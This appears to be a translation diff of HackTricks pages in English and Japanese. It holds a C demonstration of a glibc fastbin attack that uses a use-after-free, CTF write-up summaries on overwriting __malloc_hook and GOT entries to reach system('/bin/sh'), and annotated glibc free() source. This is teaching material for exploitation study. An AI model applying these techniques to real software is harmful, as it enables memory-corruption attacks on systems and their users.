非常によく説明されたコードの完全な例は、[https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html) で見つけることができます。
You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
```c ```c
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
@ -39,112 +36,111 @@ You can find a full example in a very well explained code from [https://guyinatu
int main(void) int main(void)
{ {
puts("Today we will be discussing a fastbin attack."); puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size)."); puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists."); puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it)."); puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)"); puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate."); puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin."); puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n"); puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n"); puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Let's start, we will allocate three chunks of size 0x30\n"); puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2; unsigned long *ptr0, *ptr1, *ptr2;
ptr0 = malloc(0x30); ptr0 = malloc(0x30);
ptr1 = malloc(0x30); ptr1 = malloc(0x30);
ptr2 = malloc(0x30); ptr2 = malloc(0x30);
printf("Chunk 0: %p\n", ptr0); printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1); printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2); printf("Chunk 2: %p\n\n", ptr2);
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n"); printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
int stackVar = 0x55; int stackVar = 0x55;
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar); printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Proceeding that I'm going to write just some data to the three heap chunks\n"); printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
char *data0 = "00000000"; char *data0 = "00000000";
char *data1 = "11111111"; char *data1 = "11111111";
char *data2 = "22222222"; char *data2 = "22222222";
memcpy(ptr0, data0, 0x8); memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8); memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8); memcpy(ptr2, data2, 0x8);
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n"); printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("Chunk 0: %s\n", (char *)ptr0); printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1); printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2); printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n"); printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
free(ptr0); free(ptr0);
free(ptr1); free(ptr1);
free(ptr2); free(ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0); printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1); printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2); printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n"); printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n"); printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n"); printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
*ptr1 = (unsigned long)((char *)&stackVar); *ptr1 = (unsigned long)((char *)&stackVar);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1); printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n"); printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n"); printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
unsigned long *ptr3, *ptr4, *ptr5; unsigned long *ptr3, *ptr4, *ptr5;
ptr3 = malloc(0x30); ptr3 = malloc(0x30);
ptr4 = malloc(0x30); ptr4 = malloc(0x30);
ptr5 = malloc(0x30); ptr5 = malloc(0x30);
printf("Chunk 3: %p\n", ptr3); printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4); printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5); printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n"); printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
} }
``` ```
> [!CAUTION] > [!CAUTION]
> If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack.md) and [unsorted bin attack](unsorted-bin-attack.md) > グローバル変数 **`global_max_fast`** の値を大きな数で上書きできる場合、これによりより大きなサイズのファストビンチャンクを生成でき、以前は不可能だったシナリオでファストビン攻撃を実行できる可能性があります。この状況は、[large bin attack](large-bin-attack.md) および [unsorted bin attack](unsorted-bin-attack.md) の文脈で有用です。
## Examples ##
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:** - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
- It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability). - チャンクを割り当て、解放し、その内容を読み取り、(オーバーフロー脆弱性を使用して)埋めることが可能です。
- **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`). - **情報漏洩のためのチャンクの統合**: この技術は基本的にオーバーフローを悪用して偽の `prev_size` を作成し、1つの前のチャンクをより大きなチャンクの中に入れることです。これにより、別のチャンクを含むより大きなチャンクを割り当てると、そのデータを印刷してlibcへのアドレス`main_arena+88`)を漏洩させることが可能になります。
- **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\ - **mallocフックの上書き**: これには、前の重複状況を悪用して、同じメモリを指す2つのチャンクを持つことが可能でした。したがって、両方を解放すること保護を回避するためにその間に別のチャンクを解放するで、同じチャンクをファストビンに2回持つことが可能でした。その後、それを再度割り当て、次のチャンクへのアドレスを `__malloc_hook` の少し前を指すように上書きしましたmallocがフリーサイズだと思う整数を指すように - 別のバイパス、再度割り当てて、mallocフックへのアドレスを受け取る別のチャンクを割り当てました。\
Finally a **one gadget** was written in there. 最後に、**one gadget** がそこに書き込まれました。
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:** - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
- There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers - ヒープオーバーフローと使用後の解放、ダブルフリーがあります。チャンクが解放されると、ポインタを再利用して再解放することが可能です。
- **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address. - **Libc情報漏洩**: いくつかのチャンクを解放すると、メインアリーナの一部の位置へのポインタが得られます。解放されたポインタを再利用できるため、このアドレスを読み取るだけです。
- **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`. - **ファストビン攻撃**: 割り当てへのすべてのポインタは配列内に保存されているため、いくつかのファストビンチャンクを解放し、最後のものにアドレスを上書きしてこのポインタの配列の少し前を指すようにします。その後、同じサイズのチャンクをいくつか割り当てると、最初に正当なものが得られ、その後ポインタの配列を含む偽のものが得られます。これで、この割り当てポインタを上書きして `free` のGOTアドレスを `system` を指すようにし、次にチャンク1に `"/bin/sh"` を書き込んで `free(chunk1)` を呼び出すと、代わりに `system("/bin/sh")` が実行されます。
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address - 1バイトのオーバーフローを悪用して、未ソートビン内のチャンクを統合し、libc情報漏洩を取得し、その後ファストビン攻撃を実行してmallocフックをone gadgetアドレスで上書きする別の例です。
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
- After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT - 未ソートビンを悪用してUAFでlibcアドレスとPIEアドレスを漏洩させた後、このCTFのエクスプロイトはファストビン攻撃を使用して、制御されたチャンクへのポインタがある場所にチャンクを割り当て、特定のポインタを上書きしてGOTにone gadgetを書き込むことができました。
- You can find a Fast Bin attack abused through an unsorted bin attack: - 未ソートビン攻撃を通じて悪用されたファストビン攻撃を見つけることができます:
- Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed). - ファストビン攻撃を実行する前に、libc/heapアドレスを漏洩させるためにフリリストを悪用することが一般的であることに注意してください必要に応じて
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- We can only allocate chunks of size greater than `0x100`. - サイズが `0x100` より大きいチャンクのみを割り当てることができます。
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). - 未ソートビン攻撃を使用して `global_max_fast` を上書きしますASLRのため1/16回機能します。12ビットを変更する必要がありますが、16ビットを変更する必要があります
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. - グローバルチャンク配列を変更するためのファストビン攻撃。これにより、任意の読み取り/書き込みプリミティブが得られ、GOTを変更していくつかの関数を `system` を指すように設定できます。
{{#ref}} {{#ref}}
unsorted-bin-attack.md unsorted-bin-attack.md

View File

@ -1,4 +1,4 @@
# Heap Memory Functions # ヒープメモリ関数
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,93 +4,90 @@
## Free Order Summary <a href="#libc_free" id="libc_free"></a> ## Free Order Summary <a href="#libc_free" id="libc_free"></a>
(No checks are explained in this summary and some case have been omitted for brevity) (この要約ではチェックは説明されておらず、簡潔さのためにいくつかのケースが省略されています)
1. If the address is null don't do anything 1. アドレスがnullの場合は何もしない
2. If the chunk was mmaped, mummap it and finish 2. チャンクがmmapされた場合は、mummapして終了する
3. Call `_int_free`: 3. `_int_free`を呼び出す:
1. If possible, add the chunk to the tcache 1. 可能であれば、チャンクをtcacheに追加する
2. If possible, add the chunk to the fast bin 2. 可能であれば、チャンクをfast binに追加する
3. Call `_int_free_merge_chunk` to consolidate the chunk is needed and add it to the unsorted list 3. 必要に応じてチャンクを統合するために`_int_free_merge_chunk`を呼び出し、未ソートリストに追加する
## \_\_libc_free <a href="#libc_free" id="libc_free"></a> ## \_\_libc_free <a href="#libc_free" id="libc_free"></a>
`Free` calls `__libc_free`. `Free``__libc_free`を呼び出します。
- If the address passed is Null (0) don't do anything. - 渡されたアドレスがNull (0)の場合は何もしない。
- Check pointer tag - ポインタタグをチェックする
- If the chunk is `mmaped`, `mummap` it and that all - チャンクが`mmaped`の場合は、`mummap`して終了する
- If not, add the color and call `_int_free` over it - そうでない場合は、色を追加し、上に`_int_free`を呼び出す
<details> <details>
<summary>__lib_free code</summary> <summary>__lib_free code</summary>
```c ```c
void void
__libc_free (void *mem) __libc_free (void *mem)
{ {
mstate ar_ptr; mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */ mchunkptr p; /* chunk corresponding to mem */
if (mem == 0) /* free(0) has no effect */ if (mem == 0) /* free(0) has no effect */
return; return;
/* Quickly check that the freed pointer matches the tag for the memory. /* Quickly check that the freed pointer matches the tag for the memory.
This gives a useful double-free detection. */ This gives a useful double-free detection. */
if (__glibc_unlikely (mtag_enabled)) if (__glibc_unlikely (mtag_enabled))
*(volatile char *)mem; *(volatile char *)mem;
int err = errno; int err = errno;
p = mem2chunk (mem); p = mem2chunk (mem);
if (chunk_is_mmapped (p)) /* release mmapped memory. */ if (chunk_is_mmapped (p)) /* release mmapped memory. */
{ {
/* See if the dynamic brk/mmap threshold needs adjusting. /* See if the dynamic brk/mmap threshold needs adjusting.
Dumped fake mmapped chunks do not affect the threshold. */ Dumped fake mmapped chunks do not affect the threshold. */
if (!mp_.no_dyn_threshold if (!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold && chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX) && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
{ {
mp_.mmap_threshold = chunksize (p); mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold; mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold); mp_.mmap_threshold, mp_.trim_threshold);
} }
munmap_chunk (p); munmap_chunk (p);
} }
else else
{ {
MAYBE_INIT_TCACHE (); MAYBE_INIT_TCACHE ();
/* Mark the chunk as belonging to the library again. */ /* Mark the chunk as belonging to the library again. */
(void)tag_region (chunk2mem (p), memsize (p)); (void)tag_region (chunk2mem (p), memsize (p));
ar_ptr = arena_for_chunk (p); ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0); _int_free (ar_ptr, p, 0);
} }
__set_errno (err); __set_errno (err);
} }
libc_hidden_def (__libc_free) libc_hidden_def (__libc_free)
``` ```
</details> </details>
## \_int_free <a href="#int_free" id="int_free"></a> ## \_int_free <a href="#int_free" id="int_free"></a>
### \_int_free start <a href="#int_free" id="int_free"></a> ### \_int_free start <a href="#int_free" id="int_free"></a>
It starts with some checks making sure: いくつかのチェックから始まり、次のことを確認します:
- the **pointer** is **aligned,** or trigger error `free(): invalid pointer` - **ポインタ**が**アラインされている**、さもなくばエラー`free(): invalid pointer`をトリガーします
- the **size** isn't less than the minimum and that the **size** is also **aligned** or trigger error: `free(): invalid size` - **サイズ**が最小値未満でないこと、また**サイズ**も**アラインされている**こと、さもなくばエラー:`free(): invalid size`
<details> <details>
<summary>_int_free start</summary> <summary>_int_free start</summary>
```c ```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28
@ -99,288 +96,279 @@ It starts with some checks making sure:
static void static void
_int_free (mstate av, mchunkptr p, int have_lock) _int_free (mstate av, mchunkptr p, int have_lock)
{ {
INTERNAL_SIZE_T size; /* its size */ INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */ mfastbinptr *fb; /* associated fastbin */
size = chunksize (p); size = chunksize (p);
/* Little security check which won't hurt performance: the /* Little security check which won't hurt performance: the
allocator never wraps around at the end of the address space. allocator never wraps around at the end of the address space.
Therefore we can exclude some size values which might appear Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */ here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0)) || __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer"); malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a /* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */ multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size"); malloc_printerr ("free(): invalid size");
check_inuse_chunk(av, p); check_inuse_chunk(av, p);
``` ```
</details> </details>
### \_int_free tcache <a href="#int_free" id="int_free"></a> ### \_int_free tcache <a href="#int_free" id="int_free"></a>
It'll first try to allocate this chunk in the related tcache. However, some checks are performed previously. It'll loop through all the chunks of the tcache in the same index as the freed chunk and: 最初に、このチャンクを関連するtcacheに割り当てようとします。ただし、いくつかのチェックが事前に行われます。解放されたチャンクと同じインデックスのtcache内のすべてのチャンクをループし
- If there are more entries than `mp_.tcache_count`: `free(): too many chunks detected in tcache` - `mp_.tcache_count`よりもエントリが多い場合: `free(): too many chunks detected in tcache`
- If the entry is not aligned: free(): `unaligned chunk detected in tcache 2` - エントリが整列していない場合: free(): `unaligned chunk detected in tcache 2`
- if the freed chunk was already freed and is present as chunk in the tcache: `free(): double free detected in tcache 2` - 解放されたチャンクがすでに解放されており、tcache内のチャンクとして存在する場合: `free(): double free detected in tcache 2`
If all goes well, the chunk is added to the tcache and the functions returns. すべてがうまくいけば、チャンクはtcacheに追加され、関数は戻ります。
<details> <details>
<summary>_int_free tcache</summary> <summary>_int_free tcache</summary>
```c ```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7
#if USE_TCACHE #if USE_TCACHE
{ {
size_t tc_idx = csize2tidx (size); size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins) if (tcache != NULL && tc_idx < mp_.tcache_bins)
{ {
/* Check to see if it's already in the tcache. */ /* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p); tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100% /* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely 2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */ coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache_key)) if (__glibc_unlikely (e->key == tcache_key))
{ {
tcache_entry *tmp; tcache_entry *tmp;
size_t cnt = 0; size_t cnt = 0;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; for (tmp = tcache->entries[tc_idx];
tmp; tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt) tmp = REVEAL_PTR (tmp->next), ++cnt)
{ {
if (cnt >= mp_.tcache_count) if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache"); malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (!aligned_OK (tmp))) if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2"); malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e) if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2"); malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a /* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */ few cycles, but don't abort. */
} }
} }
if (tcache->counts[tc_idx] < mp_.tcache_count) if (tcache->counts[tc_idx] < mp_.tcache_count)
{ {
tcache_put (p, tc_idx); tcache_put (p, tc_idx);
return; return;
} }
} }
} }
#endif #endif
``` ```
</details> </details>
### \_int_free fast bin <a href="#int_free" id="int_free"></a> ### \_int_free fast bin <a href="#int_free" id="int_free"></a>
Start by checking that the size is suitable for fast bin and check if it's possible to set it close to the top chunk. まず、サイズがファストビンに適しているか確認し、トップチャンクに近づけることができるか確認します。
Then, add the freed chunk at the top of the fast bin while performing some checks: 次に、いくつかのチェックを行いながら、解放されたチャンクをファストビンのトップに追加します:
- If the size of the chunk is invalid (too big or small) trigger: `free(): invalid next size (fast)` - チャンクのサイズが無効(大きすぎるか小さすぎる)な場合、トリガー: `free(): invalid next size (fast)`
- If the added chunk was already the top of the fast bin: `double free or corruption (fasttop)` - 追加されたチャンクがすでにファストビンのトップであった場合: `double free or corruption (fasttop)`
- If the size of the chunk at the top has a different size of the chunk we are adding: `invalid fastbin entry (free)` - トップのチャンクのサイズが追加しているチャンクのサイズと異なる場合: `invalid fastbin entry (free)`
<details> <details>
<summary>_int_free Fast Bin</summary> <summary>_int_free Fast Bin</summary>
```c ```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
/* /*
If eligible, place chunk on a fastbin so it can be found If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc. and used quickly in malloc.
*/ */
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS #if TRIM_FASTBINS
/* /*
If TRIM_FASTBINS set, don't place chunks If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins bordering top into fastbins
*/ */
&& (chunk_at_offset(p, size) != av->top) && (chunk_at_offset(p, size) != av->top)
#endif #endif
) { ) {
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= CHUNK_HDR_SZ, 0) <= CHUNK_HDR_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size)) || __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0)) >= av->system_mem, 0))
{ {
bool fail = true; bool fail = true;
/* We might not have a lock at this point and concurrent modifications /* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after of system_mem might result in a false positive. Redo the test after
getting the lock. */ getting the lock. */
if (!have_lock) if (!have_lock)
{ {
__libc_lock_lock (av->mutex); __libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem); || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex); __libc_lock_unlock (av->mutex);
} }
if (fail) if (fail)
malloc_printerr ("free(): invalid next size (fast)"); malloc_printerr ("free(): invalid next size (fast)");
} }
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
atomic_store_relaxed (&av->have_fastchunks, true); atomic_store_relaxed (&av->have_fastchunks, true);
unsigned int idx = fastbin_index(size); unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx); fb = &fastbin (av, idx);
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2; mchunkptr old = *fb, old2;
if (SINGLE_THREAD_P) if (SINGLE_THREAD_P)
{ {
/* Check that the top of the bin is not the record we are going to /* Check that the top of the bin is not the record we are going to
add (i.e., double free). */ add (i.e., double free). */
if (__builtin_expect (old == p, 0)) if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)"); malloc_printerr ("double free or corruption (fasttop)");
p->fd = PROTECT_PTR (&p->fd, old); p->fd = PROTECT_PTR (&p->fd, old);
*fb = p; *fb = p;
} }
else else
do do
{ {
/* Check that the top of the bin is not the record we are going to /* Check that the top of the bin is not the record we are going to
add (i.e., double free). */ add (i.e., double free). */
if (__builtin_expect (old == p, 0)) if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)"); malloc_printerr ("double free or corruption (fasttop)");
old2 = old; old2 = old;
p->fd = PROTECT_PTR (&p->fd, old); p->fd = PROTECT_PTR (&p->fd, old);
} }
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
!= old2); != old2);
/* Check that size of fastbin chunk at the top is the same as /* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been only if we have the lock, otherwise it might have already been
allocated again. */ allocated again. */
if (have_lock && old != NULL if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) && __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
malloc_printerr ("invalid fastbin entry (free)"); malloc_printerr ("invalid fastbin entry (free)");
} }
``` ```
</details> </details>
### \_int_free finale <a href="#int_free" id="int_free"></a> ### \_int_free finale <a href="#int_free" id="int_free"></a>
If the chunk wasn't allocated yet on any bin, call `_int_free_merge_chunk` チャンクがまだどのビンにも割り当てられていない場合、`_int_free_merge_chunk`を呼び出します。
<details> <details>
<summary>_int_free finale</summary> <summary>_int_free finale</summary>
```c ```c
/* /*
Consolidate other non-mmapped chunks as they arrive. Consolidate other non-mmapped chunks as they arrive.
*/ */
else if (!chunk_is_mmapped(p)) { else if (!chunk_is_mmapped(p)) {
/* If we're single-threaded, don't lock the arena. */ /* If we're single-threaded, don't lock the arena. */
